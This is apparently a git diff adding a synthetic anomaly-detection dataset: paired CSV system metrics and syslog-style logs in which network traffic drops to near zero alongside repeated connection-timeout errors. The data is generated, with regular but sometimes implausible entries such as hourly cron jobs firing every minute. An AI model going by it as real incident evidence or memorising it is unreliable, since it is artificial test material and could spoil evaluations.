GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.50 +Aug 15 12:02:28 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.40 +Aug 15 12:02:31 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.32 +Aug 15 12:02:36 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.45 +Aug 15 12:02:44 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.15 +Aug 15 12:02:44 systemd[1]: Started Session 30 of user service-account. +Aug 15 12:02:48 systemd[1]: Started Session 25 of user service-account. +Aug 15 12:02:52 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.23 +Aug 15 12:03:04 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.48 +Aug 15 12:03:04 systemd[1]: Started Session 21 of user service-account. +Aug 15 12:03:42 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.30 +Aug 15 12:03:50 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:03:57 CRON[23599]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 12:04:06 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:04:13 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:04:28 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:04:36 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:04:46 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:04:46 CRON[23605]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 12:04:55 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:05:00 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:05:06 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:05:13 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:05:19 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:05:19 CRON[23600]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 12:05:29 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:05:43 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:05:52 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:06:07 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:06:20 CRON[23106]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 12:06:25 CRON[23418]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 12:06:33 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:06:38 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:06:59 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:07:03 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 12:07:24 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_20.csv b/anom_dataset/scenario_10/anom_10_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..8ffcd669150c7f5769ee2d8c248d4f10ebdf9274 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,13.71,41.07,36.52,1.07,1.12 +2025-08-15T14:00:05Z,14.33,40.6,29.0,0.97,0.91 +2025-08-15T14:00:10Z,13.63,42.07,31.73,1.49,1.24 +2025-08-15T14:00:15Z,15.95,40.03,26.61,0.98,0.89 +2025-08-15T14:00:20Z,15.3,37.17,28.46,1.36,0.81 +2025-08-15T14:00:25Z,14.56,37.9,31.9,1.35,1.09 +2025-08-15T14:00:30Z,10.51,40.73,25.93,1.45,0.85 +2025-08-15T14:00:35Z,14.01,33.11,26.75,0.94,0.51 +2025-08-15T14:00:40Z,15.57,40.9,25.51,1.28,0.84 +2025-08-15T14:00:45Z,13.15,42.79,21.11,1.22,0.98 +2025-08-15T14:00:50Z,15.53,35.92,17.61,1.31,0.94 +2025-08-15T14:00:55Z,18.76,40.22,31.95,0.68,1.11 +2025-08-15T14:01:00Z,17.19,45.91,32.34,0.93,0.96 +2025-08-15T14:01:05Z,17.75,35.97,30.66,1.11,0.75 +2025-08-15T14:01:10Z,19.56,45.27,32.31,1.68,1.15 +2025-08-15T14:01:15Z,16.19,41.55,32.44,1.03,0.97 +2025-08-15T14:01:20Z,18.71,37.89,32.84,1.32,0.78 +2025-08-15T14:01:25Z,15.8,47.91,36.66,1.39,0.93 +2025-08-15T14:01:30Z,14.25,37.93,26.19,1.23,0.58 +2025-08-15T14:01:35Z,16.99,39.09,28.48,1.61,0.91 +2025-08-15T14:01:40Z,16.82,34.72,24.95,1.58,0.94 +2025-08-15T14:01:45Z,14.92,38.34,28.1,1.29,0.97 +2025-08-15T14:01:50Z,15.47,39.33,27.85,1.06,0.83 +2025-08-15T14:01:55Z,12.92,38.2,31.39,1.39,1.05 +2025-08-15T14:02:00Z,12.6,40.78,25.62,1.09,1.03 +2025-08-15T14:02:05Z,15.81,42.75,35.25,1.32,0.92 +2025-08-15T14:02:10Z,13.68,40.77,33.2,1.0,1.15 +2025-08-15T14:02:15Z,15.37,44.44,33.53,1.2,1.14 +2025-08-15T14:02:20Z,17.02,43.11,32.94,1.49,0.93 +2025-08-15T14:02:25Z,16.22,39.81,39.93,1.26,0.94 +2025-08-15T14:02:30Z,15.05,35.67,24.46,0.02,0.0 +2025-08-15T14:02:35Z,16.65,36.84,28.59,0.01,0.04 +2025-08-15T14:02:40Z,12.78,40.69,26.42,0.01,0.04 +2025-08-15T14:02:45Z,15.24,37.86,28.93,0.04,0.04 +2025-08-15T14:02:50Z,13.57,40.05,32.93,0.02,0.03 +2025-08-15T14:02:55Z,16.1,40.7,31.14,0.01,0.01 +2025-08-15T14:03:00Z,12.87,43.5,25.86,0.01,0.03 +2025-08-15T14:03:05Z,16.92,35.56,37.28,0.04,0.05 +2025-08-15T14:03:10Z,18.38,37.56,32.71,0.02,0.03 +2025-08-15T14:03:15Z,16.8,33.13,29.02,0.03,0.04 +2025-08-15T14:03:20Z,13.39,43.74,28.92,0.01,0.03 +2025-08-15T14:03:25Z,12.72,40.99,31.53,0.05,0.01 +2025-08-15T14:03:30Z,15.92,38.95,36.35,0.02,0.03 +2025-08-15T14:03:35Z,13.87,36.77,27.31,0.03,0.01 +2025-08-15T14:03:40Z,14.97,43.02,30.06,0.03,0.03 +2025-08-15T14:03:45Z,14.11,39.03,26.83,0.01,0.03 +2025-08-15T14:03:50Z,16.82,42.97,28.96,0.05,0.03 +2025-08-15T14:03:55Z,12.2,38.72,30.82,0.04,0.04 +2025-08-15T14:04:00Z,14.67,40.46,27.61,0.01,0.02 +2025-08-15T14:04:05Z,15.11,33.79,26.78,0.02,0.03 +2025-08-15T14:04:10Z,15.76,42.3,26.7,0.01,0.03 +2025-08-15T14:04:15Z,13.25,44.2,22.45,0.02,0.01 +2025-08-15T14:04:20Z,12.42,43.96,30.24,0.04,0.01 +2025-08-15T14:04:25Z,17.62,36.33,28.96,0.01,0.03 +2025-08-15T14:04:30Z,15.39,35.25,25.44,0.03,0.0 +2025-08-15T14:04:35Z,13.71,45.34,32.46,0.01,0.02 +2025-08-15T14:04:40Z,17.23,38.41,26.8,0.0,0.02 +2025-08-15T14:04:45Z,14.62,41.02,28.51,0.03,0.04 +2025-08-15T14:04:50Z,17.48,39.53,23.55,0.02,0.03 +2025-08-15T14:04:55Z,15.7,37.67,30.33,0.03,0.01 +2025-08-15T14:05:00Z,14.42,41.69,35.66,1.25,1.08 +2025-08-15T14:05:05Z,15.19,38.02,32.46,1.05,0.84 +2025-08-15T14:05:10Z,11.21,40.68,37.43,0.82,0.85 +2025-08-15T14:05:15Z,12.74,41.49,28.45,1.38,1.18 +2025-08-15T14:05:20Z,14.33,44.72,31.83,1.11,0.81 +2025-08-15T14:05:25Z,12.73,40.36,22.84,0.75,1.34 +2025-08-15T14:05:30Z,14.06,36.23,24.43,0.86,0.85 +2025-08-15T14:05:35Z,13.87,39.91,24.17,0.8,1.03 +2025-08-15T14:05:40Z,15.4,37.21,27.58,1.07,1.21 +2025-08-15T14:05:45Z,13.65,31.41,31.87,1.03,0.6 +2025-08-15T14:05:50Z,13.59,45.01,38.15,1.22,0.68 +2025-08-15T14:05:55Z,14.78,40.67,30.4,1.17,1.12 +2025-08-15T14:06:00Z,16.06,34.65,36.8,1.22,0.58 +2025-08-15T14:06:05Z,16.72,37.9,33.64,0.67,0.78 +2025-08-15T14:06:10Z,17.66,40.11,24.78,1.66,1.14 +2025-08-15T14:06:15Z,14.55,45.87,31.9,0.71,1.19 +2025-08-15T14:06:20Z,15.62,40.26,34.63,1.44,1.25 +2025-08-15T14:06:25Z,16.33,36.63,27.02,1.18,1.0 +2025-08-15T14:06:30Z,14.22,38.73,27.46,1.02,0.99 +2025-08-15T14:06:35Z,16.7,38.88,33.78,1.1,1.21 +2025-08-15T14:06:40Z,13.69,36.43,37.67,1.31,0.78 +2025-08-15T14:06:45Z,14.15,39.6,22.64,1.48,1.06 +2025-08-15T14:06:50Z,14.51,38.82,27.71,1.29,0.92 +2025-08-15T14:06:55Z,15.36,34.09,33.9,0.9,0.89 +2025-08-15T14:07:00Z,13.48,39.83,29.67,1.12,0.93 +2025-08-15T14:07:05Z,16.36,33.74,26.05,1.63,1.1 +2025-08-15T14:07:10Z,19.53,37.52,33.31,1.27,1.19 +2025-08-15T14:07:15Z,18.17,37.91,23.44,1.71,0.97 +2025-08-15T14:07:20Z,13.97,41.66,37.91,1.61,0.97 +2025-08-15T14:07:25Z,13.3,41.55,32.93,1.18,1.08 diff --git a/anom_dataset/scenario_10/anom_10_20.log b/anom_dataset/scenario_10/anom_10_20.log new file mode 100644 index 0000000000000000000000000000000000000000..3dc96ff8eb0bfec969f603abb2e42cd33b81ad2b --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_20.log @@ -0,0 +1,25 @@ +Aug 15 14:00:00 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:00:00 CRON[8196]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:00:25 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:00:50 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:01:15 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:01:30 CRON[8196]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:01:40 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:02:05 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:02:30 systemd[1]: Starting daily user session maintenance... +Aug 15 14:02:40 client-app[3521]: ERROR Failed to connect to remote service: Connection timed out +Aug 15 14:03:00 client-app[3521]: ERROR Failed to connect to remote service: Connection timed out +Aug 15 14:03:20 client-app[3521]: ERROR Failed to connect to remote service: Connection timed out +Aug 15 14:03:20 systemd[1]: Starting daily user session maintenance... +Aug 15 14:03:40 client-app[3521]: ERROR Failed to connect to remote service: Connection timed out +Aug 15 14:04:00 client-app[3521]: ERROR Failed to connect to remote service: Connection timed out +Aug 15 14:04:10 systemd[1]: Starting daily user session maintenance... +Aug 15 14:04:20 client-app[3521]: ERROR Failed to connect to remote service: Connection timed out +Aug 15 14:04:40 client-app[3521]: ERROR Failed to connect to remote service: Connection timed out +Aug 15 14:05:00 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:05:25 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:05:50 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:06:00 CRON[8196]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:06:15 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:06:40 web-app[1269]: GET /api/v1/health status=200 OK +Aug 15 14:07:05 web-app[1269]: GET /api/v1/health status=200 OK \ No newline at end of file diff --git a/anom_dataset/scenario_10/anom_10_21.csv b/anom_dataset/scenario_10/anom_10_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..d910f1627f5c7871361179c97389117d0feef0e5 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T10:00:00Z,18.83,32.57,29.06,1.28,1.17 +2025-07-10T10:00:05Z,17.0,40.47,42.88,1.43,0.71 +2025-07-10T10:00:10Z,14.3,41.03,24.69,1.45,1.18 +2025-07-10T10:00:15Z,16.87,34.57,44.59,1.46,1.0 +2025-07-10T10:00:20Z,11.68,36.44,6.79,1.69,0.92 +2025-07-10T10:00:25Z,11.31,40.57,28.68,0.88,0.96 +2025-07-10T10:00:30Z,16.55,39.34,35.6,1.81,0.93 +2025-07-10T10:00:35Z,12.68,47.93,25.03,1.3,0.88 +2025-07-10T10:00:40Z,18.15,36.12,23.22,1.11,0.87 +2025-07-10T10:00:45Z,15.86,42.41,27.84,1.18,1.29 +2025-07-10T10:00:50Z,6.4,30.36,22.04,1.27,1.0 +2025-07-10T10:00:55Z,18.54,44.68,41.16,1.0,0.9 +2025-07-10T10:01:00Z,11.87,37.89,21.6,1.41,1.51 +2025-07-10T10:01:05Z,9.4,36.2,28.63,1.24,1.17 +2025-07-10T10:01:10Z,20.0,37.22,27.03,1.41,0.96 +2025-07-10T10:01:15Z,18.6,33.11,36.82,0.84,1.33 +2025-07-10T10:01:20Z,9.02,36.24,42.7,0.98,1.05 +2025-07-10T10:01:25Z,14.4,47.21,34.85,0.8,1.17 +2025-07-10T10:01:30Z,12.36,38.34,22.46,1.34,1.11 +2025-07-10T10:01:35Z,16.99,45.54,15.8,1.18,1.58 +2025-07-10T10:01:40Z,13.45,29.21,22.53,0.75,0.92 +2025-07-10T10:01:45Z,11.51,40.48,10.01,1.6,1.32 +2025-07-10T10:01:50Z,14.77,39.85,20.02,0.63,1.09 +2025-07-10T10:01:55Z,13.07,35.67,41.5,1.35,0.92 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+2025-07-10T10:07:00Z,16.03,42.93,25.67,0.05,0.02 +2025-07-10T10:07:05Z,14.15,35.55,30.89,0.04,0.04 +2025-07-10T10:07:10Z,13.6,45.89,9.7,0.0,0.04 +2025-07-10T10:07:15Z,11.96,40.65,27.31,0.01,0.05 +2025-07-10T10:07:20Z,16.51,52.62,40.82,0.04,0.04 +2025-07-10T10:07:25Z,15.15,42.41,30.69,0.04,0.04 diff --git a/anom_dataset/scenario_10/anom_10_21.log b/anom_dataset/scenario_10/anom_10_21.log new file mode 100644 index 0000000000000000000000000000000000000000..1f735489ff8b9e90e73dcbdff73b6cddfcda8a8a --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_21.log @@ -0,0 +1,43 @@ +Jul 10 10:00:00 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:00:00 systemd[1]: Starting daily user cleanup session... +Jul 10 10:00:05 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:00:25 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:00:35 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:00:40 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:00:50 systemd[1]: Starting daily user cleanup session... +Jul 10 10:01:10 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:01:15 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:01:20 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:01:40 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:01:40 systemd[1]: Starting daily user cleanup session... +Jul 10 10:01:50 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:02:00 web-app[2233]: GET /api/v1/data status=200 OK +Jul 10 10:02:30 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:02:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:03:05 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:03:10 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:03:15 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:03:45 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:04:00 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:04:05 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:04:10 kubelet[1234]: INFO Liveness probe succeeded for pod api-gateway +Jul 10 10:04:15 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:04:25 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:04:30 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:04:40 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:05:00 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:05:05 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:05:10 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:05:20 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:05:30 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:05:35 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:05:40 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:05:45 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:06:00 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:06:10 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:06:15 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:06:15 kubelet[1234]: INFO Liveness probe succeeded for pod api-gateway +Jul 10 10:06:25 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:06:40 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:07:05 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out +Jul 10 10:07:15 web-app[2233]: ERROR Connect to downstream-service:8080 failed: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_22.csv b/anom_dataset/scenario_10/anom_10_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..7c0b7d96744730d3709c57cd1a4693b1f7ff8a22 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,17.663173008259037,48.32312470434795,22.89559742422883,1.2578807952507378,0.9510599915904351 +2025-07-03T10:00:05Z,16.43055794879681,45.73363192994397,26.605266126899796,1.2012074735963814,0.9758971381115324 +2025-07-03T10:00:10Z,11.909199415777463,44.81426391152279,32.669424046554376,1.15077741279678,0.752008740234219 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+2025-07-03T10:06:45Z,18.489628296678603,46.83689193749565,31.398026960900054,0.0,0.0 +2025-07-03T10:06:50Z,11.287629038777704,48.30038812203998,33.101272507567344,0.0,0.0 +2025-07-03T10:06:55Z,14.554452601794,46.693057579158356,24.657161457660585,0.0,0.0 +2025-07-03T10:07:00Z,14.868304304577597,42.86160168951882,26.38689633246941,0.0,0.0 +2025-07-03T10:07:05Z,10.736575783036791,44.21742156433748,30.420697776958754,0.0,0.0 +2025-07-03T10:07:10Z,14.902338977322493,46.645284198887474,27.07772421687316,0.0,0.0 +2025-07-03T10:07:15Z,15.78668243416348,46.80959715069177,33.010111353768565,0.0,0.0 +2025-07-03T10:07:20Z,15.43453029023608,48.02058341587447,32.191826195848456,0.0,0.0 +2025-07-03T10:07:25Z,11.011212460517886,44.116721977830174,26.088284028443308,0.0,0.0 diff --git a/anom_dataset/scenario_10/anom_10_22.log b/anom_dataset/scenario_10/anom_10_22.log new file mode 100644 index 0000000000000000000000000000000000000000..51823e3923bf1f2ee5669e6cf5ebbb72ff4c5fca --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_22.log @@ -0,0 +1,43 @@ +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:00 web-app[8080]: GET /api/v1/data status=200 OK +Jul 03 10:00:20 web-app[8080]: GET /api/v1/data status=200 OK +Jul 03 10:00:25 CRON[5005]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:40 web-app[8080]: GET /api/v1/data status=200 OK +Jul 03 10:01:00 web-app[8080]: GET /api/v1/data status=200 OK +Jul 03 10:01:15 CRON[5015]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:20 web-app[8080]: GET /api/v1/data status=200 OK +Jul 03 10:01:40 web-app[8080]: GET /api/v1/data status=200 OK +Jul 03 10:02:00 web-app[8080]: GET /api/v1/data status=200 OK +Jul 03 10:02:05 CRON[5025]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:20 web-app[8080]: GET /api/v1/data status=200 OK +Jul 03 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:35 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:02:50 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:02:55 CRON[5035]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:05 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:03:20 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:03:35 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:03:45 CRON[5045]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:50 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:04:05 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:04:20 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:04:35 CRON[5055]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:35 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:04:50 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:05 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:05:20 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:05:25 CRON[5065]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:35 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:05:50 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:06:05 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:06:15 CRON[5075]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:20 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:06:35 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:06:50 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:07:05 CRON[5085]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:07:05 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" +Jul 03 10:07:20 api-gateway[2045]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: "connection timed out" diff --git a/anom_dataset/scenario_10/anom_10_23.csv b/anom_dataset/scenario_10/anom_10_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..9f79590ca508848ae00f58e6448b24feb67d9b90 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T14:00:00Z,11.12,38.19,30.79,1.14,0.67 +2025-08-20T14:00:05Z,15.76,42.44,30.38,1.18,1.06 +2025-08-20T14:00:10Z,15.66,39.98,33.41,1.22,0.83 +2025-08-20T14:00:15Z,13.15,38.6,33.18,1.56,0.58 +2025-08-20T14:00:20Z,12.91,35.26,35.24,1.41,1.43 +2025-08-20T14:00:25Z,15.8,47.62,27.94,1.39,0.68 +2025-08-20T14:00:30Z,16.55,45.35,27.38,1.15,1.11 +2025-08-20T14:00:35Z,13.0,44.83,31.68,1.19,0.99 +2025-08-20T14:00:40Z,15.33,43.6,25.02,1.1,1.01 +2025-08-20T14:00:45Z,15.26,36.38,34.46,1.35,0.96 +2025-08-20T14:00:50Z,20.46,39.83,32.9,1.4,0.83 +2025-08-20T14:00:55Z,12.42,38.54,22.7,1.03,1.16 +2025-08-20T14:01:00Z,13.15,35.23,37.66,0.9,1.21 +2025-08-20T14:01:05Z,13.64,42.29,31.18,1.34,0.75 +2025-08-20T14:01:10Z,17.36,43.69,34.54,1.04,1.09 +2025-08-20T14:01:15Z,13.87,37.24,24.45,1.0,0.77 +2025-08-20T14:01:20Z,16.38,37.8,29.22,1.31,0.71 +2025-08-20T14:01:25Z,17.89,40.99,28.05,1.37,0.96 +2025-08-20T14:01:30Z,16.01,36.84,35.09,1.44,0.63 +2025-08-20T14:01:35Z,17.24,37.51,36.17,1.4,1.19 +2025-08-20T14:01:40Z,14.17,38.36,29.52,0.79,1.29 +2025-08-20T14:01:45Z,11.49,40.01,27.73,1.32,1.09 +2025-08-20T14:01:50Z,15.29,42.91,31.3,1.31,0.98 +2025-08-20T14:01:55Z,14.53,40.47,36.18,1.23,1.17 +2025-08-20T14:02:00Z,18.42,44.62,39.59,1.17,1.18 +2025-08-20T14:02:05Z,16.38,40.98,29.84,1.26,0.88 +2025-08-20T14:02:10Z,14.91,41.15,31.14,1.76,0.98 +2025-08-20T14:02:15Z,17.78,40.93,29.15,1.46,1.29 +2025-08-20T14:02:20Z,14.13,42.9,30.39,1.18,0.91 +2025-08-20T14:02:25Z,16.55,46.77,24.29,1.27,1.15 +2025-08-20T14:02:30Z,15.33,43.21,32.46,0.04,0.04 +2025-08-20T14:02:35Z,15.71,36.07,30.43,0.04,0.03 +2025-08-20T14:02:40Z,13.8,41.67,39.73,0.05,0.01 +2025-08-20T14:02:45Z,14.29,38.45,30.45,0.02,0.03 +2025-08-20T14:02:50Z,14.2,39.87,32.24,0.05,0.05 +2025-08-20T14:02:55Z,14.7,37.78,28.68,0.03,0.05 +2025-08-20T14:03:00Z,11.26,39.73,25.2,0.04,0.04 +2025-08-20T14:03:05Z,14.23,42.55,32.23,0.01,0.02 +2025-08-20T14:03:10Z,16.9,42.92,28.31,0.01,0.0 +2025-08-20T14:03:15Z,20.96,40.97,27.22,0.03,0.01 +2025-08-20T14:03:20Z,18.23,43.38,24.82,0.04,0.04 +2025-08-20T14:03:25Z,12.88,45.4,30.84,0.02,0.01 +2025-08-20T14:03:30Z,15.49,39.39,28.37,0.05,0.01 +2025-08-20T14:03:35Z,14.23,46.6,22.32,0.03,0.04 +2025-08-20T14:03:40Z,16.45,40.35,34.26,0.04,0.05 +2025-08-20T14:03:45Z,16.49,35.05,19.89,0.05,0.02 +2025-08-20T14:03:50Z,15.56,39.74,24.87,0.02,0.01 +2025-08-20T14:03:55Z,14.9,42.23,29.54,0.01,0.02 +2025-08-20T14:04:00Z,14.21,35.09,15.0,0.03,0.01 +2025-08-20T14:04:05Z,16.37,41.46,25.92,0.0,0.02 +2025-08-20T14:04:10Z,17.59,43.05,18.24,0.05,0.01 +2025-08-20T14:04:15Z,15.31,44.89,27.12,0.03,0.04 +2025-08-20T14:04:20Z,15.98,37.3,31.22,0.04,0.02 +2025-08-20T14:04:25Z,12.68,37.87,25.96,0.05,0.02 +2025-08-20T14:04:30Z,14.8,40.52,38.3,0.0,0.02 +2025-08-20T14:04:35Z,14.19,40.31,38.65,0.03,0.04 +2025-08-20T14:04:40Z,14.7,35.19,35.42,0.04,0.03 +2025-08-20T14:04:45Z,15.66,39.62,22.56,0.04,0.04 